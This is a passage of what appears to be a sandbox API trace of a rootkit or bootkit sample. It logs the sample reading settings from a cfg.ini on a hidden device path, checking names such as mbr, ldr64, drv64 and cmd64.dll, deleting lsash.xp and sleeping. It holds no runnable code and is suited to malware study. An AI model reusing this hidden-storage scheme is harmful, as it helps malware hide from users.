_Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.952] KeEnterCriticalRegion () [0122.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.953] KeLeaveCriticalRegion () [0122.953] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.953] KeEnterCriticalRegion () [0122.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.953] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.953] IdePortDispatch () returned 0x103 [0122.953] KeWaitForMutexObject () returned 0x0 [0122.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.953] KeLeaveCriticalRegion () [0122.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.953] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.953] KeEnterCriticalRegion () [0122.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.953] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d82000 [0122.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.953] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.953] IdePortDispatch () returned 0x103 [0122.953] KeWaitForMutexObject () returned 0x0 [0122.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.954] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.954] IdePortDispatch () returned 0x103 [0122.954] KeWaitForMutexObject () returned 0x0 [0122.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.954] KeLeaveCriticalRegion () [0122.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.954] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.954] KeEnterCriticalRegion () [0122.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.954] KeLeaveCriticalRegion () [0122.954] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.954] KeEnterCriticalRegion () [0122.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.954] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.954] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.954] KeLeaveCriticalRegion () [0122.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.955] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.955] KeEnterCriticalRegion () [0122.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.955] ExFreePoolWithTag (P=0xfffffa8003bbed10, Tag=0x0) [0122.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.955] KeLeaveCriticalRegion () [0122.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.955] ReleaseMutex (hMutex=0xf0) returned 1 [0122.955] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.955] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.955] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.955] KeEnterCriticalRegion () [0122.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.955] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.955] IdePortDispatch () returned 0x103 [0122.955] KeWaitForMutexObject () returned 0x0 [0122.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.955] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.955] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.955] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.955] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.955] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be43d0 [0122.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.955] KeLeaveCriticalRegion () [0122.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.955] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.955] KeEnterCriticalRegion () [0122.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.955] KeLeaveCriticalRegion () [0122.955] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.955] KeEnterCriticalRegion () [0122.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.956] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.956] IdePortDispatch () returned 0x103 [0122.956] KeWaitForMutexObject () returned 0x0 [0122.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.956] KeLeaveCriticalRegion () [0122.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.956] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.956] KeEnterCriticalRegion () [0122.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.956] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d83000 [0122.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.956] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.956] IdePortDispatch () returned 0x103 [0122.956] KeWaitForMutexObject () returned 0x0 [0122.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.956] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.956] IdePortDispatch () returned 0x103 [0122.956] KeWaitForMutexObject () returned 0x0 [0122.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] KeLeaveCriticalRegion () [0122.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.957] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.957] KeEnterCriticalRegion () [0122.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] KeLeaveCriticalRegion () [0122.957] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.957] KeEnterCriticalRegion () [0122.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.957] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] KeLeaveCriticalRegion () [0122.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.957] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.957] KeEnterCriticalRegion () [0122.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] ExFreePoolWithTag (P=0xfffffa8003be43d0, Tag=0x0) [0122.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.957] KeLeaveCriticalRegion () [0122.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.958] ReleaseMutex (hMutex=0xf0) returned 1 [0122.958] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.958] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.958] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.958] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.958] KeEnterCriticalRegion () [0122.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.958] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.958] IdePortDispatch () returned 0x103 [0122.958] KeWaitForMutexObject () returned 0x0 [0122.958] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.958] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.958] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.958] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.958] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.958] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.958] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.958] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.958] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.958] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.958] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.958] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.958] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.958] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.958] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.958] KeLeaveCriticalRegion () [0122.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.958] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.958] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.958] KeEnterCriticalRegion () [0122.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.958] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.959] IdePortDispatch () returned 0x103 [0122.959] KeWaitForMutexObject () returned 0x0 [0122.959] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.959] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.959] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.959] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.959] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.959] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.959] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.959] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.959] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.959] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.959] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.959] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.959] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.959] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.959] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.959] KeLeaveCriticalRegion () [0122.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.959] ReleaseMutex (hMutex=0x100) returned 1 [0122.959] Sleep (dwMilliseconds=0x2bf20) [0122.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c7c2d90, dwHighDateTime=0x1d24fa4)) [0122.966] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.966] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.966] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.966] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.966] KeEnterCriticalRegion () [0122.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.966] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.966] IdePortDispatch () returned 0x103 [0122.966] KeWaitForMutexObject () returned 0x0 [0122.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.966] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.966] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.966] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.966] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.966] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825af0 [0122.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.966] KeLeaveCriticalRegion () [0122.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.966] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.966] KeEnterCriticalRegion () [0122.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.966] KeLeaveCriticalRegion () [0122.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.966] KeEnterCriticalRegion () [0122.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.967] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.967] IdePortDispatch () returned 0x103 [0122.967] KeWaitForMutexObject () returned 0x0 [0122.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.967] KeLeaveCriticalRegion () [0122.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.967] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.967] KeEnterCriticalRegion () [0122.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d86000 [0122.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.967] IdePortDispatch () returned 0x103 [0122.967] KeWaitForMutexObject () returned 0x0 [0122.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.967] IdePortDispatch () returned 0x103 [0122.967] KeWaitForMutexObject () returned 0x0 [0122.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.968] KeLeaveCriticalRegion () [0122.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.968] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.968] KeEnterCriticalRegion () [0122.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.968] KeLeaveCriticalRegion () [0122.968] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.968] KeEnterCriticalRegion () [0122.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.968] IoGetRequestorProcess 